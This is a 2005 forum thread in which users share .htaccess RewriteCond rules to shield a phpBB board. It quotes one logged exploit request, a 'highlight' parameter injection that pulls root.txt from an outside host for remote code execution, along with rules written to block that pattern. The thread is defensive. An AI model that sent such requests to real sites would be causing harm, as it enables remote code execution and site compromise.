Topic awaiting preservation: .htaccess: String blocking (Page 1 of 1) |
|
---|---|
Bipolar (III) Inmate From: USA |
posted 09-29-2005 17:00
My friend has a fully patched phpBB, but it has over 2000 members, and is easily found via a google search. He tends to get hit with every exploit, and I wanted to help him start filtering some common exploits out via his .htaccess file. code: GET viewtopic.php?t=4377&highlight=%2527.$poster=include($_GET[m]).%2527&m=http://www.argaio.net/root.txt?& HTTP/1.0" 403 -
code: RewriteCond %{QUERY_STRING} ^(.*)highlight=\%2527 [OR]
|
Paranoid (IV) Inmate From: Madison, Indiana, USA |
posted 09-29-2005 19:17
I'm a little fuzzy on what you're trying to do. I understand that you have phpBB and you want to try to block access to the BB by filtering out requests from certain URIs. code: RewriteCond %{QUERY_STRING} highlight=\%2527 [OR] RewriteCond %{QUERY_STRING} root.txt [OR]
|
Bipolar (III) Inmate From: USA |
posted 09-29-2005 19:37
Unfortunately, it's not my site. I use multiple techniques for blocking attackers, including IP/Spam Domain blocking, layered authentication, etc. This is just to help out a pal who runs a sports site and has no idea about, well, anything except sports. |